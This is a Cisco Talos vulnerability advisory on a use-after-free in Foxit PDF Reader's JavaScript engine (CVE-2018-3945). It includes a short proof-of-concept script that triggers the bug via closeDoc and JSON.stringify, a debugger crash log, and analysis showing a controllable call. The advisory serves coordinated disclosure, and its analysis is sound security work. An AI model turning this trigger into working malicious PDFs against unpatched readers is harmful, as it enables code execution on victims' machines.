Talos Vulnerability Report

TALOS-2018-0612

Foxit PDF Reader Javascript JSON.Stringify this.info Remote Code Execution Vulnerability

October 1, 2018
CVE Number

CVE-2018-3945

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking JSON.Stringify method of the active document with this.info object as argument, which can trigger a use-after-free condition like in the following code:

function f0() {
var a; 

a = this.info;
app.activeDocs[0].closeDoc(); 
JSON.stringify(a); 

}

f0();

In the above code, we make a reference to the this.info object as variable a. Then, the document is closed. Afterwards, calling JSON.stringify with a as argument leads to a use after free.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(178.1748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=03f4e470 ebx=00000000 ecx=0e7f4da8 edx=00000000 esi=12091fd8 edi=12091fd8
eip=008f0e76 esp=03f4e45c ebp=03f4e47c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x695c6:
008f0e76 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e7f4da8=????????
0:000> !heap -p -a ecx
address 0e7f4da8 found in
_DPH_HEAP_ROOT @ 7521000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                e801c64:          e7f4000             2000
6b0f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
774969cc ntdll!RtlDebugFreeHeap+0x0000002f
77459e07 ntdll!RtlpFreeHeap+0x0000005d
774263a6 ntdll!RtlFreeHeap+0x00000142
7565c614 kernel32!HeapFree+0x00000014
01d2df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
002208bf FoxitReader+0x000d08bf
002228a8 FoxitReader+0x000d28a8
0036965e FoxitReader+0x0021965e
0036942b FoxitReader+0x0021942b
0037842a FoxitReader+0x0022842a
00362fd7 FoxitReader+0x00212fd7
00362df8 FoxitReader+0x00212df8
01b851ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
01b890ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
01b8917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
003609f5 FoxitReader+0x002109f5
01b8ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
01b851ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
01b890ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
01b8917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
0028bee7 FoxitReader+0x0013bee7
008f373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
009019e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139

 
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x695c6:
008f0e76 8b01            mov     eax,dword ptr [ecx]
008f0e78 8b5004          mov     edx,dword ptr [eax+4]
008f0e7b ffd2            call    edx
008f0e7d 837d0c00        cmp     dword ptr [ebp+0Ch],0
008f0e81 8b7060          mov     esi,dword ptr [eax+60h]
008f0e84 0f85b4000000    jne     FoxitReader!CryptVerifyMessageSignature+0x6968e (008f0f3e)
008f0e8a 85f6            test    esi,esi
008f0e8c 7553            jne     FoxitReader!CryptVerifyMessageSignature+0x69631 (008f0ee1)
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 03f4e47c 008f1135 FoxitReader!CryptVerifyMessageSignature+0x695c6
01 03f4e498 008f92e9 FoxitReader!CryptVerifyMessageSignature+0x69885
02 03f4e4f4 004d182e FoxitReader!CryptVerifyMessageSignature+0x71a39
03 03f4e538 019d9d10 FoxitReader+0x38182e

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see eax being used as a vtable pointer, ultimately leading to call instruction with controllable operand. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straight forward conditions for arbitrary code execution.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.